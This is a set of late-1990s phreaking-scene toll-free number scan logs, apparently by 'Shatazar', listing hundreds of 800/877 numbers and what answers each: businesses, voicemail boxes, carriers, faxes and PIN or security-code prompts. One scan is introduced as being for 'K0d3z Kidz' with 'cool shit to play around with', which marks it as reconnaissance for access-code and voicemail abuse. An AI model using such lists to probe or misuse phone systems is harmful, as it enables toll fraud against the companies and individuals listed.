224 NIS.
225 2CK.
226 NA.
227 2CK.
228 Mutual of Omaha.
229 Invalid.
230 AT&T Easy Reach 800.
231 2CK.
232 2CK.
233 2CK.
234 2CK.
235 2CK.
237 NA.
238 NA.
239 2CK.
240 2CK.
241 Bell Atlantic Caller-ID.
242 2CK.
243 2CK.
244 Bell Atlantic's Interactive Demo Center.
245 2CK.
246 2CK.
247 2CK.
248 NIS.
249 2CK.
250 Answering machine.
251 2CK.
252 Disconnected.
253 NA.
254 BUSY.
255 2CK.
256 Bell Maxia. (after hours Octel VMB)
257 NA.
258 Enter telephone number or a numeric message.
259 Sherri's Voicemail.
260 NIS.
261 2CK.
262 Voice.
263 Discount Car and Truck Rental.
264 Cellular South's Answer Center.
265 NIS.
266 2CK.
267 Bell Mobility Quebec.
268 Bell Mobility Ottawa Office.
269 Bripoint line America.
270 Business Consulting Group of Bell Canada.
271 NIS.
272 2CK.
273 2CK.
274 Bell Air Express.
275 Bell Atlantic Repair.
276 Frontier Communications Customer Service.
277 2CK.
278 NIS.
279 Non-working toll free number.
280 2CK.
281 NIS.
282 Bellcon (Balcon?) Components.
283 NA.
284 2CK.
285 BellSouth.
286 NIS.
287 BTI Business Products Group.
288 2CK.
289 Bell Industries.
290 NIS.
291 NIS.
292 2CK.
293 2CK.
294 NIS.
295 Counts numbers.
296 2CK.
297 Bell Atlantic's Major Customer Center.
298 NIS.
299 2CK.
300 NOS. (calling card, collect calls, etc.)
301 NIS.
302 NIS.
303 NIS.
304 NIS.
305 2CK.
306 Stevens Corporate Offices. (Cellular and paging?)
307 Non-working 800 number.
308 NIS.
309 "being checked for trouble." - Strange Bell message.
310 NIS.
311 TONES.
312 NIS.
313 NA.
314 Autosomethingclub Cellular. (Voice) Call back.
315 Invalid.
316 NIS.
317 NIS.
318 BUSY.
319 NIS.
320 NIS.
321 NA.
322 PPG Voicemail system.
323 2CK.
324 Ring + Silence then disconnect.
325 2CK.
326 2CK.
327 2CK.
328 Clerical Support Center.
329 FAX.
330 2CK.
331 Counts numbers.
332 2CK.
333 2CK.
334 Bell Atlantic Caller-ID.
335 NIS.
336 2CK.
337 2CK.
338 2CK.
339 NA.
340 2CK.
341 2CK.
342 2CK.
343 2CK.
344 2CK.
345 2CK.
346 Bell Airomatics.
347 2CK.
348 Someone's Voicemail/pager.
349 2CK.
350 BUSY.
351 BUSY.
352 2CK.
353 2CK.
354 2CK.
355 2CK.
356 2CK.
357 Counts numbers.
358 NA.
359 Bell Helicopter Textron. (Voice)
360 Roberts and Daniel Advertising.
361 NIS.
362 2CK.
363 Bell Canada's Total Solution Center for Business.
364 International Supply company.
365 NA.
366 2CK.
367 2CK.
368 Bell Helicopter.
369 Cellular One.
370 NIS.
371 NIS.
372 2CK.
373 NA.
374 InterCall.
375 2CK.
376 NIS.
377 2CK.
378 2CK.
379 NIS.
380 NIS.
381 Cellular One.
382 2CK.
383 2CK.
384 Message Center.
385 NIS.
386 NIS.
387 NIS.
388 2CK.
389 NIS.
390 AT&T Easy Reach 800.
391 NIS.
392 2CK.
393 2CK.
394 2CK.
395 BUSY.
396 2CK.
397 Invalid.
398 2CK.
399 2CK.
400 Disconnected.
401 Your call cannot be answered at this time.
402 NIS.
403 CARRIER.
404 NIS.
405 NIS.
406 NIS.
407 John with Southwest Bell wireless.
408 2CK.
409 NIS.
410 FAX.
411 Car Phone Store.
412 NIS.
413 2CK.
414 VIP Companion Chair.
415 NIS.
416 NIS.
417 NIS.
418 Please enter your 4 digit PIN.
419 BellSouth. (Spanish)
420 NIS.
421 AT&T Easy Reach 800.
422 Trindarmerchant Services.
423 2CK.
424 Eagle Foliage.
425 NIS.
426 2CK.
427 2CK.
428 NA.
429 Please enter your security code now.
430 NIS.
431 Winwork and John Calder Offices.
432 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada.
433 2CK.
434 Technical Difficulties.
435 Please enter your 4 digit PIN.
436 Something Incorporated. (poor quality recording)
437 2CK.
438 Kentucky Cellular.
439 Direct Bell. (wireless communications)
440 2CK.
441 2CK.
442 2CK.
443 2CK.
444 2CK.
445 2CK.
446 Colorada Bell room reservations.
447 2CK.
448 2CK.
449 NIS.
450 NIS.
451 2CK.
452 Appalacian Wireless.
453 2CK.
454 Counts numbers.
455 NIS.
456 Bell Sports Consumer Hotline.
457 2CK.
458 2CK.
459 Something Club. (Voice)
460 NA.
461 2CK.
462 2CK.
463 2CK.
464 NIS.
465 Bell Mobility.
466 NIS.
467 CenturyTel.
468 Harmony Hollow.
469 NIS.
470 Bell Mobility.
471 NIS.
472 Perfume something order line. (Voice)
473 2CK.
474 OmniCell Technologies Incorporated.
475 Hello? (Voice)
476 Partnership Network.
477 2CK.
478 NIS.
479 NIS.
480 2CK.
481 ATI Cellular.
482 Hubbell Electronics.
483 NIS.
484 Please enter your 4 digit security code now or hold for an Op.
485 2CK.
486 2CK.
487 Cellular One Customer Service.
488 Cellular 2000.
489 2CK.
490 NIS.
491 Pacific Link Communications Mississauga (Bell Mobility Center)
492 2CK.
493 NIS.
494 NIS.
495 NA.
496 Nationlink.
497 Gary's VMB.
498 2CK.
499 NIS.
500 NIS.
501 2CK.
502 NIS.
503 Jim Grenshaw's Property hotline.
504 NIS.
505 NIS.
506 New Hearth Information Center.
507 NIS.
508 NA.
509 NIS.
510 NIS.
511 Law Office.
512 NIS.
513 NIS.
514 Cellular One's Welcome line.
515 Invalid.
516 NA.
517 NA.
518 CellToys International. (Cellular, PCS, accessories etc.)
519 NA.
520 NIS.
521 Bell Insurance Group.
522 2CK.
523 2CK.
524 NA.
525 Japan Airlines.
526 2CK.
527 2CK.
528 Southwestern Bell Yellow Pages Business Office.
529 NIS.
530 Voice.
531 2CK.
532 2CK.
533 2CK.
534 NIS.
535 2CK.
536 Voice.
537 2CK.
538 BUSY.
539 Excel Data.
540 NIS.
541 2CK.
542 Hello? (Voice) <SH> Doesn't accept calls from blocked numbers either.
543 E-Bell Insurance Marketing.
544 2CK.
545 2CK.
546 2CK.
547 Hand Bell Supply.
548 American Express Travel in Irvine, California.
549 Advanced Cellular and Paging.
550 Disconnected.
551 Duracell's Consumer Relations Department.
552 2CK.
553 Cleaning Solutions Group.
554 Medical Center.
555 2CK.
556 Bell Atlantic Communications.
557 Boltwynn Communications. (Voice)
558 2CK.
559 2CK.
560 NIS.
561 Bell Mobility. (French)
562 2CK.
563 Bonjour. (Voice)
564 NA.
565 2CK.
566 NIS.
567 Cellular One.
568 2CK.
569 NIS.
570 NIS.
571 Disconnected.
572 Some lame company's answering machine.
573 NIS.
574 NIS.
575 BC Telus Help Center.
576 2CK.
577 NIS.
578 Something Bells etc. (poor quality recording on the answering machine)
579 Counts number.
580 Voice.
581 NIS.
582 2CK.
583 Zodiac Psychic Line.
584 Please enter your 4 digit PIN.
585 NIS.
586 Empire. (Voice)
587 Disconnected.
588 NIS.
589 NIS.
590 ATI Cellular.
591 South Cell or something? Call back during normal business hours.
592 Please leave your numeric message after the tone.
593 2CK.
594 BUSY.
595 NIS.
596 2CK.
597 2CK.
598 2CK.
599 NIS.
600 Southwestern Bell.
601 NIS.
602 NIS.
603 Counts numbers.
604 Cellular One.
605 Disconnected.
606 NIS.
607 That number is not listed. Goodbye.
608 BUSY.
609 2CK.
610 NIS.
611 NIS.
612 NIS.
613 Cellular Unlimited.
614 Please enter your telephone number.
615 Ring + Trunk Busy. Called again and someone answered voice. <SH>
616 2CK.
617 2CK.
618 NIS.
619 2CK.
620 NIS.
621 Service is not available at this time.
622 2CK.
623 NIS.
624 This program has ended.
625 NIS.
626 FAX.
627 MCI WorldCom Administrative Offices.
628 2CK.
629 2CK.
630 NIS.
631 Bell Atlantic Shareowner Services.
632 2CK.
633 2CK.
634 2CK.
635 2CK.
636 Bell Atlantic Communications.
637 Bell Wholesale Travel.
638 Comcev Cellular Communications.
639 2CK.
640 PacMed Clinic.
641 800 number has not been activated.
642 2CK.
643 2CK.
644 NIS.
645 MCI WorldCom.
646 NIS.
647 MinIowa PC Partner. 1-877-727-3375 Internet number.
648 2CK.
649 NIS.
650 BUSY.
651 2CK.
652 Bell Atlantic Yellow Pages.
653 2CK.
654 2CK.
655 Please enter your 4 digit PIN.
656 Cell Theraputics Job Information Line.
657 2CK.
658 NIS.
659 Bell additives and something products.
660 Bell Atlantic Mobile's Loyalty Management Services Department.
661 BC Tel Mobility Customer Service.
662 Voice.
663 2CK.
664 BUSY.
665 2CK.
666 2CK.
667 SouthTel Mobility.
668 Bell Canada.
669 2CK.
670 Communication One (authorized agent of Cellular One)
671 CARRIER.
672 2CK.
673 Quintex Cellular.
674 MCI WorldCom (calling card dialing)
675 2CK.
676 2CK.
677 Someone's residence. Answering machine. <SH>
678 Bell Corporation. (publishing and photography? non-telco related?)
679 Disconnected.
680 NIS.
681 BUSY.
682 2CK.
683 NA.
684 2CK.
685 2CK.
686 NIS.
687 NIS.
688 2CK.
689 2CK.
690 NIS.
691 2CK.
692 2CK.
693 2CK.
694 NIS.
695 2CK.
696 NIS.
697 Bell Micro. (Voice)
698 NIS.
699 NIS.
700 Lycos Steel.
701 NIS.
702 NIS.
703 NIS.
704 2CK.
705 OmniCell Technical Department VMS.
706 Paging Service Center.
707 NIS.
708 2CK.
709 NIS.
710 NIS.
711 NA.
712 NIS.
713 2CK.
714 Invalid.
715 NIS.
716 NIS.
717 NIS.
718 NIS.
719 Please leave your numeric message after the tone.
720 Integritech VMS.
721 NIS.
722 2CK.
723 Non-working 800 number.
724 AllCell Rentals.
725 FAX.
726 Counts numbers.
727 GTE Wireless.
728 2CK.
729 2CK.
730 2CK.
731 2CK.
732 NA.
733 BellSouth Phones.
734 NIS.
735 2CK.
736 2CK.
737 2CK.
738 2CK.
739 NIS.
740 NIS.
741 2CK.
742 Mobile Media.
743 2CK.
744 NIS.
745 2CK.
746 NIS.
747 2CK.
748 2CK.
749 NIS.
750 NIS.
751 NIS.
752 Disconnected.
753 2CK.
754 NIS.
755 CARRIER.
756 2CK.
757 Enter the PIN number you wish.
758 NA.
759 Plymoth Bell Laboratories.
760 NIS.
761 NA.
762 2CK.
763 2CK.
764 NIS.
765 Isralink Communications. (Israel Cell phones)
766 2CK.
767 BellSouth automated billing services.
768 Please enter your 4 digit PIN.
769 2CK.
770 2CK.
771 NA.
772 Insurance Company.
773 NIS.
774 2CK.
775 BellSouth Phones.
776 CTI Encore USA.
777 2CK.
778 NIS.
779 2CK.
780 2CK.
781 Someone's Voicemail.
782 Unidentified VMS.
783 Please enter your 4 digit PIN.
784 NIS.
785 NIS.
786 NIS.
787 2CK.
788 2CK.
789 2CK.
790 Voice. (Spanish?)
791 BUSY.
792 2CK.
793 2CK.
794 Advantage Communications Systems.
795 2CK.
796 Card Services (Visa and Mastercard)
797 NIS.
798 BUSY.
799 2CK.
800 2CK.
801 NIS.
802 NIS.
803 Easy Quote Help Desk.
804 NIS.
805 Please enter your 4 digit PIN.
806 Advantage Paging. (I believe it's Bell Advantage)
807 NIS.
808 Invalid.
809 2CK.
810 Customer Service Center. 1-800-556-5678 to report stolen bank cards.
811 2CK.
812 NIS.
813 NA.
814 NIS.
815 NIS.
816 Federal Express.
817 Disconnected.
818 NIS.
819 NA.
820 2CK.
821 MobileCom.
822 2CK.
823 NIS.
824 On hold for 5 mins every single fucking time I call. Call back.
825 2CK.
826 2CK.
827 Office of Tar Bell Realtors.
828 2CK.
829 AT&T Easy Reach 800.
830 Bell Atlantic Mobile.
831 MobileCom - no longer in service. 1-800-274-3127 MobileCom's National Customer Service Center.
832 2CK.
833 2CK.
834 2CK.
835 Thank you for calling. Please send your data now.
836 NA.
837 2CK.
838 Invalid.
839 2CK.
840 AT&T Easy Reach 800.
841 Call back during regular business hours.
842 AT&T Easy Reach 800.
843 Holiday something. (Voice)
844 2CK.
845 2CK.
846 2CK.
847 CARRIER.
848 Counts numbers.
849 NIS.
850 NIS.
851 FAX.
852 Please enter your 4 digit PIN.
853 Counts numbers.
854 MobileCall accounts.
855 NIS.
856 BUSY.
857 NIS.
858 2CK.
859 NIS.
860 NIS.
861 NIS.
862 2CK.
863 NIS.
864 2CK.
865 NA.
866 NA.
867 NIS.
868 2CK.
869 Please call again during our regular business hours.
870 NIS.
871 The Phone Man. (No joke!)
872 2CK.
873 2CK.
874 2CK.
875 NIS.
876 2CK.
877 2CK.
878 NIS.
879 Bell Industries.
880 2CK.
881 2CK.
882 2CK.
883 2CK.
884 2CK.
885 2CK.
886 Frontier Teleconferencing.
887 2CK.
888 Bell Fasteners.
889 NIS.
890 NIS.
891 2CK.
892 Answering machine.
893 Nation's Bank Mastercard application center.
894 2CK.
895 NIS.
896 "zero. zero. five. seven."
897 Counts numbers. "zero. zero. five. six."
898 Silent line.
899 2CK.
900 NIS.
901 AT&T Easy Reach 800.
902 NIS.
903 2CK.
904 NIS.
905 NIS.
906 "zero. zero. five. five."
907 NIS.
908 Please enter your numeric message.
909 Larry Bell Designs.
910 NIS.
911 NIS.
912 NIS.
913 Please leave your numeric message after the tone.
914 2CK.
915 2CK.
916 NIS.
917 This mailbox is temporarily disconnected.
918 TONES.
919 Due to problems with the data collection collection system...1-800-526-0366.
920 NA.
921 2CK.
922 2CK.
923 2CK.
924 2CK.
925 2CK.
926 Ubet Wireless.
927 2CK.
928 2CK.
929 Division of Monarch Mortgage Co.
930 NIS.
931 NIS.
932 2CK.
933 Fulfillment plus. (agent of Pacific Bell)
934 Voice.
935 BUSY.
936 Not a working number.
937 2CK.
938 NIS.
939 NIS.
940 2CK.
941 NIS.
942 2CK.
943 NA.
944 2CK.
945 Maria's Voicemail.
946 2CK.
947 2CK.
948 Doctor's office.
949 2CK.
950 2CK.
951 Cantel Communications.
952 Bripoint VMS.
953 NIS.
954 NIS.
955 FAX.
956 NIS.
957 2CK.
958 Alarm Guard.
959 2CK.
960 2CK.
961 2CK.
962 Colorado Bell Hotel and Casino.
963 NA.
964 2CK.
965 NIS.
966 Not available from your area code.
967 AT&T Easy Reach 800.
968 Action something. (Voice)
969 2CK.
970 2CK.
971 NIS.
972 2CK.
973 NIS.
974 BUSY.
975 2CK.
976 NIS.
977 NIS.
978 2CK.
979 NIS.
980 Light Cellular.
981 NIS.
982 2CK.
983 NIS.
984 2CK.
985 2CK.
986 2CK.
987 NA.
988 2CK.
989 2CK.
990 NIS.
991 800 number is currently not active.
992 2CK.
993 NIS.
994 NIS.
995 2CK.
996 NA.
997 BUSY.
998 2CK.
999 2CK.

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======================== "The name speaks for itself!" ========================
1-800-861-21XX Scan
http://surf.to/damage_inc
damage_inc@dope.org
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Shatazar's Scans (scanned from the 519 NPA)
2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
47-4 = Number is blocked/invalid.
1-800-861-2100 2CK.
1-800-861-2101 Voicemail/FAX.
1-800-861-2102 Voice.
1-800-861-2103 "Thank you for calling. Our office is currently closed."
1-800-861-2104 NA.
1-800-861-2105 Food Dehydrator.
1-800-861-2106 Voice.
1-800-861-2107 Voice.
1-800-861-2108 Voice.
1-800-861-2109 Voice.
1-800-861-2110 Voice.
1-800-861-2111 "The promotion has expired, please call 1-800-324-4250" (VISA)
1-800-861-2112 Voice.
1-800-861-2113 "The promotion has expired, please call 1-800-324-4250" (VISA)
1-800-861-2114 Voice.
1-800-861-2115 Voice.
1-800-861-2116 "Please hangup and try your call again."
1-800-861-2117 NA.
1-800-861-2118 NA.
1-800-861-2119 NA.
1-800-861-2120 NA.
1-800-861-2121 2CK.
1-800-861-2122 Voice.
1-800-861-2123 New York Times. 1-800-NY-TIMES (Customer Service)
1-800-861-2124 NA.
1-800-861-2125 "The promotion has expired, please call 1-800-324-4250" (VISA)
1-800-861-2126 Voice.
1-800-861-2127 Voice.
1-800-861-2128 NA.
1-800-861-2129 Voice.
1-800-861-2130 Voice.
1-800-861-2131 NA.
1-800-861-2132 Novel Telecommuter Call Forwarding System.
1-800-861-2133 NIS.
1-800-861-2134 NIS.
1-800-861-2135 NIS.
1-800-861-2136 NIS.
1-800-861-2137 Voice.
1-800-861-2138 NIS.
1-800-861-2139 NIS.
1-800-861-2140 NIS.
1-800-861-2141 NIS.
1-800-861-2142 NIS.
1-800-861-2143 BUSY.
1-800-861-2144 NIS.
1-800-861-2145 Novel unassigned number.
1-800-861-2146 NIS.
1-800-861-2147 NIS.
1-800-861-2148 NA.
1-800-861-2149 New York Times.
1-800-861-2150 Disconnected.
1-800-861-2151 Answering machine.
1-800-861-2152 Voicemail/Faxmail.
1-800-861-2153 NIS.
1-800-861-2154 Disconnected.
1-800-861-2155 NIS.
1-800-861-2156 NIS.
1-800-861-2157 Voice.
1-800-861-2158 Professional Career Development Institute.
1-800-861-2159 "The promotion has expired, please call 1-800-324-4250" (VISA)
1-800-861-2160 Corel's Service Sales line. 1-800-757-2133.
1-800-861-2161 Professional Career Development Institute.
1-800-861-2162 American Express Card Application.
1-800-861-2163 Voice.
1-800-861-2164 NIS.
1-800-861-2165 Voice.
1-800-861-2166 NA.
1-800-861-2167 New York Times.
1-800-861-2168 NA.
1-800-861-2169 Professional Career Development Institute.
1-800-861-2170 NA.
1-800-861-2171 Voice.
1-800-861-2172 Professional Career Development Institute.
1-800-861-2173 Voice.
1-800-861-2174 Voice.
1-800-861-2175 Best of Dean Martin Celebrity Roasts order line.
1-800-861-2176 Professional Career Development Institute.
1-800-861-2177 Voice.
1-800-861-2178 NA.
1-800-861-2179 Best of Dean Martin Celebrity Roasts order line.
1-800-861-2180 NIS.
1-800-861-2181 Professional Career Development Institute.
1-800-861-2182 NA.
1-800-861-2183 Voice.
1-800-861-2184 NA.
1-800-861-2185 Voice.
1-800-861-2186 Voice.
1-800-861-2187 Voice.
1-800-861-2188 Voice.
1-800-861-2189 Secure Horizons.
1-800-861-2190 Voice.
1-800-861-2191 Voice.
1-800-861-2192 Tony Robin's Personal Power Orderline.
1-800-861-2193 Hollywood 48 hour miracle diet order line.
1-800-861-2194 NA.
1-800-861-2195 Perry Cuomo order line.
1-800-861-2196 NA.
1-800-861-2197 Voice.
1-800-861-2198 Ring + Silent line.
1-800-861-2199 Voice.

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======================== "The name speaks for itself!" ========================
1-800-861-99XX Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
Shatazar's Scans (scanned from the 519 NPA)
2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
47-4 = Number is blocked/invalid.
1-800-861-9900 NIS.
1-800-861-9901 NIS.
1-800-861-9902 2CK.
1-800-861-9903 Answering machine.
1-800-861-9904 Emergency Road Service Line.
1-800-861-9905 Loud Rings+Tones then "Thank you. Please hang up now."
1-800-861-9906 Disconnected.
1-800-861-9907 NIS.
1-800-861-9908 Polo Sport in Garden City New York.
1-800-861-9909 NIS.
1-800-861-9910 2CK.
1-800-861-9911 NIS.
1-800-861-9912 NIS.
1-800-861-9913 NIS.
1-800-861-9914 NIS.
1-800-861-9915 Office of JD Consultants.
1-800-861-9916 Answering machine.
1-800-861-9917 Voice.
1-800-861-9918 NIS.
1-800-861-9919 NIS.
1-800-861-9920 NIS.
1-800-861-9921 Voice.
1-800-861-9922 NIS.
1-800-861-9923 BUSY.
1-800-861-9924 BUSY.
1-800-861-9925 BUSY.
1-800-861-9926 BUSY.
1-800-861-9927 BUSY.
1-800-861-9928 BUSY.
1-800-861-9929 BUSY.
1-800-861-9930 BUSY.
1-800-861-9931 BUSY.
1-800-861-9932 BUSY.
1-800-861-9933 NIS.
1-800-861-9934 BUSY.
1-800-861-9935 BUSY.
1-800-861-9936 Real Southern drawl answering machine message.
1-800-861-9937 Voice.
1-800-861-9938 NIS.
1-800-861-9939 NIS.
1-800-861-9940 Law Office.
1-800-861-9941 2CK.
1-800-861-9942 2CK.
1-800-861-9943 NIS.
1-800-861-9944 NIS.
1-800-861-9945 NA.
1-800-861-9946 2CK.
1-800-861-9947 NIS.
1-800-861-9948 2CK.
1-800-861-9949 Voice.
1-800-861-9950 NIS.
1-800-861-9951 NA.
1-800-861-9952 Voice.
1-800-861-9953 2CK.
1-800-861-9954 NIS.
1-800-861-9955 NIS.
1-800-861-9956 NIS.
1-800-861-9957 Protection One.
1-800-861-9958 Voice.
1-800-861-9959 The Medical Group Patient Services.
1-800-861-9960 TSI VMS.
1-800-861-9961 FAX.
1-800-861-9962 2CK.
1-800-861-9963 AT&T Easy Reach 800.
1-800-861-9964 Static Noise.
1-800-861-9965 Someone's Pager/Voicemail.
1-800-861-9966 NIS.
1-800-861-9967 NIS.
1-800-861-9968 Voice.
1-800-861-9969 2CK.
1-800-861-9970 "Enter the PIN number you wish."
1-800-861-9971 Union Planners Bank Rate Line.
1-800-861-9972 NIS.
1-800-861-9973 NIS.
1-800-861-9974 Voice.
1-800-861-9975 NIS.
1-800-861-9976 "Please enter your 4 digit PIN now or press * for CC calls."
1-800-861-9977 NIS.
1-800-861-9978 2CK.
1-800-861-9979 BUSY. 2
1-800-861-9980 2CK.
1-800-861-9981 Somethingville Police.
1-800-861-9982 2CK.
1-800-861-9983 2CK.
1-800-861-9984 2CK.
1-800-861-9985 2CK.
1-800-861-9986 2CK.
1-800-861-9987 Voice.
1-800-861-9988 2CK.
1-800-861-9989 "111. The 800 number you have dialed is NIS."
1-800-861-9990 BUSY. 2
1-800-861-9991 BUSY.
1-800-861-9992 Siren Tones.
1-800-861-9993 NIS.
1-800-861-9994 NIS.
1-800-861-9995 NIS.
1-800-861-9996 NIS.
1-800-861-9997 2CK.
1-800-861-9998 NIS.
1-800-861-9999 47-4. Invalid/Blocked.

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======================== "The name speaks for itself!" ========================
1-877-XXX-BELL Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
*** This is a quick scan for K0d3z Kidz. There are a lot of numbers that are
Not In Service. Try calling the No Answers back during business hours if
you really want something to do. But there's still some cool shit to play
around with. Have phun kids. ***
200 2CK.
201 NIS.
202 NA.
203 Voice.
204 NIS.
205 NIS.
206 Virtual Office.
207 Invalid.
208 NIS.
209 Voice.
210 BUSY. (3)
211 FAX.
212 NIS.
213 NIS.
214 NIS.
215 NIS.
216 NIS.
217 NIS.
218 NIS.
219 NIS.
220 NIS.
221 NIS.
222 NIS.
223 NIS.
224 NIS.
225 NIS.
226 NIS.
227 NIS.
228 NIS.
229 NIS.
230 NIS.
231 NIS.
232 NIS.
233 NIS.
234 NIS.
235 NA.
236 NIS.
237 NIS.
238 NIS.
239 NIS.
240 NIS.
241 NIS.
242 NIS.
243 NIS.
244 NIS.
245 NIS.
246 NIS.
247 NIS.
248 NIS.
249 NIS.
250 NIS.
251 NIS.
252 2CK.
253 NIS.
254 NIS.
255 InTouch Cellular.
256 NIS.
257 Voice.
258 NIS.
259 NIS.
260 NIS.
261 NIS.
262 NIS.
263 NIS.
264 NIS.
265 NIS.
266 NIS.
267 NIS.
268 NIS.
269 NIS.
270 NIS.
271 NIS.
272 2CK.
273 NIS.
274 NIS.
275 NIS.
276 NIS.
277 NIS.
278 2CK.
279 NIS.
280 NIS.
281 NIS.
282 NIS.
283 NIS.
284 NIS.
285 NIS.
286 NIS.
287 NIS.
288 NIS.
289 ATX Cellular Department.
290 NIS.
291 NIS.
292 NIS.
293 NIS.
294 NIS.
295 NIS.
296 NIS.
297 NIS.
298 NIS.
299 NIS.
300 NIS.
301 NIS.
302 NIS.
303 NIS.
304 NIS.
305 NIS.
306 NIS.
307 NIS.
308 NIS.
309 NIS.
310 NIS.
311 NIS.
312 NIS.
313 NIS.
314 NIS.
315 NIS.
316 NIS.
317 NIS.
318 NIS.
319 NIS.
320 NIS.
321 NIS.
322 NIS.
323 NIS.
324 NIS.
325 NIS.
326 NIS.
327 NIS.
328 NIS.
329 NA.
330 NIS.
331 NIS.
332 NIS.
333 NIS.
334 NIS.
335 NIS.
336 NIS.
337 NIS.
338 NIS.
339 NIS.
340 NIS.
341 NIS.
342 NIS.
343 NIS.
344 NIS.
345 NIS.
346 NIS.
347 NIS.
348 NIS.
349 2CK.
350 NA.
351 Bell Micro Products.
352 2CK.
353 NIS.
354 NA.
355 NA.
356 NIS.
357 Ontario Small Business Market Group.
358 NIS.
359 NIS.
360 Cellhigher USA. (cell phone rentals)
361 NIS.
362 NIS.
363 NIS.
364 2CK.
365 NIS.
366 NIS.
367 2CK.
368 NIS.
369 NIS.
370 NIS.
371 NIS.
372 NIS.
373 NIS.
374 NIS.
375 NIS.
376 "Enter the PIN number you wish."
377 BellSouth Mobility.
378 2CK.
379 Odyssey.
380 NIS.
381 Bell Mobility.
382 Tones.
383 "Enter the PIN number you wish."
384 FAX.
385 2CK.
386 NIS.
387 NIS.
388 NIS.
389 NIS.
390 NIS.
391 NIS.
392 Connect Cell Incorporated.
393 NIS.
394 NIS.
395 NIS.
396 NIS.
397 NIS.
398 NIS.
399 NIS.
400 NIS.
401 NIS.
402 NIS.
403 NIS.
404 NIS.
405 NIS.
406 NIS.
407 2CK.
408 NIS.
409 NIS.
410 NIS.
411 NIS.
412 NIS.
413 NIS.
414 NIS.
415 NIS.
416 NIS.
417 NIS.
418 NIS.
419 NIS.
420 NIS.
421 NIS.
422 NIS.
423 NA.
424 FAX.
425 NIS.
426 NIS.
427 FAX.
428 NIS.
429 NIS.
430 NIS.
431 NIS.
432 NIS.
433 NIS.
434 FAX.
435 NIS.
436 CARRIER.
437 Medical Service.
438 Bell World.
439 NIS.
440 NIS.
441 NIS.
442 NIS.
443 NIS.
444 NA.
445 FAX.
446 Disconnected.
447 Brightpoint Investor Information.
448 NIS.
449 Fast BUSY. (2)
450 Tesco Technologies.
451 NA.
452 NIS.
453 Tesco Technologies.
454 FAX.
455 SouthWestern Bell. NIS.
456 2CK.
457 NA.
458 2CK.
459 NIS.
460 Forensic Analysts.
461 FAX.
462 Testco.
463 PrimeCell.
464 BellSouth Mobility Employment Line.
465 U.S. Long Distance.
466 Network Services, Inc.
467 2CK.
468 2CK.
469 Nevada Bell QuickService.
470 2CK.
471 NIS.
472 Voice.
473 Disconnected.
474 FAX.
475 2CK.
476 2CK.
477 NIS.
478 NA.
479 NIS.
480 2CK.
481 NIS.
482 NIS.
483 Carolina Four Seasons Radiator.
484 FAX.
485 Disconnected.
486 Voice.
487 Voice.
488 NA.
489 PageNet's Wireless Messaging Network.
490 NA.
491 NIS.
492 2CK.
493 NIS.
494 FAX.
495 Voice.
496 FAX.
497 Voice. (French)
498 Portables.
499 NIS.
500 Pacific Bell. Out of service. 1-800-PAC-BELL.
501 NA.
502 Cellular Technologies.
503 Wireless Solutions.
504 FAX.
505 Disconnected.
506 Bell ExpressVu.
507 NIS.
508 NA.
509 NA.
510 NA.
511 NIS.
512 2CK.
513 NIS.
514 FAX.
515 FAX.
516 NIS.
517 Non-working number at Rockwell Automation.
518 Bell ExpressVu.
519 NA.
520 Bell ExpressVu.
521 Bell ExpressVu.
522 2CK.
523 NIS.
524 NIS.
525 2CK.
526 NIS.
527 NIS.
528 NIS.
529 NIS.
530 NIS.
531 NIS.
532 NIS.
533 NIS.
534 NIS.
535 NIS.
536 NIS.
537 NIS.
538 NIS.
539 NIS.
540 NIS.
541 NIS.
542 NIS.
543 NIS.
544 NIS.
545 NIS.
546 NA.
547 NIS.
548 NIS.
549 NIS.
550 NIS.
551 Disconnected.
552 2CK.
553 FAX.
554 NIS.
555 NIS.
556 NIS.
557 NIS.
558 NIS.
559 NIS.
560 NIS.
561 NIS.
562 NIS.
563 NIS.
564 NIS.
565 NIS.
566 Disconnected.
567 NIS.
568 Voice. "Lou" Ask him where he works.
569 NA.
570 NA.
571 Voicemail.
572 NIS.
573 NIS.
574 NIS.
575 NIS.
576 Babies and Bells.
577 "The service is not available at this time."
578 Same as above.
579 Same as above.
580 NIS.
581 NIS.
582 Tones.
583 Invalid.
584 NIS.
585 NIS.
586 NIS.
587 "Please enter your numeric message after the tone."
588 Bell Atlantic Video Sales Department.
589 MCI WorldCom Paging System.
590 NIS.
591 "I'm sorry but I'm not able to connect you just now."
592 "I'm sorry but I'm not able to connect you just now."
593 Fast BUSY. (2)
594 CARRIER.
595 NIS.
596 2CK.
597 Barkley Global Investors.
598 NIS.
599 NIS.
600 NIS.
601 Go Cellular.
602 NIS.
603 NIS.
604 FAX.
605 NA.
606 Invalid.
607 NIS.
608 NIS.
609 NIS.
610 NIS.
611 NIS.
612 NIS.
613 NA.
614 NIS.
615 Watstar Long Distance.
616 NEB.
617 NIS.
618 NIS.
619 NIS.
620 NA.
621 NA.
622 NIS.
623 NIS.
624 Mass Markets Reserve 800 Hotline.
625 2CK.
626 NIS.
627 NIS.
628 French.
629 Invalid.
630 NIS.
631 Cellular Connections. (Authorized Verizon Wireless Dealer)
632 NA.
633 High Tones.
634 2CK.
635 NIS.
636 NIS.
637 "Enter the PIN number you wish."
638 2CK.
639 NIS.
640 NIS.
641 NIS.
642 NIS.
643 Action One Cellular.
644 NIS.
645 "Enter the PIN number you wish."
646 Conference Calling Center.
647 NIS.
648 NIS.
649 NIS.
650 NIS.
651 NA.
652 NIS.
653 NIS.
654 NA.
655 Ring+Trunk Busy. (2)
656 NIS.
657 NA.
658 NIS.
659 NIS.
660 NIS.
661 NIS.
662 NIS.
663 NIS.
664 NIS.
665 NIS.
666 NIS.
667 NIS.
668 NIS.
669 NIS.
670 NIS.
671 NIS.
672 Sprint. Promotion has expired.
673 NIS.
674 NIS.
675 NIS.
676 2CK.
677 NIS.
678 NIS.
679 NIS.
680 2CK.
681 Disconnected.
682 FAX.
683 NIS.
684 2CK.
685 NIS.
686 Voice.
687 NIS.
688 NIS.
689 NIS.
690 NIS.
691 NIS.
692 NIS.
693 NIS.
694 NIS.
695 NIS.
696 NIS.
697 NIS.
698 NIS.
699 NIS.
700 NIS.
701 NIS.
702 NIS.
703 NIS.
704 NIS.
705 NIS.
706 NIS.
707 NIS.
708 NIS.
709 NIS.
710 NIS.
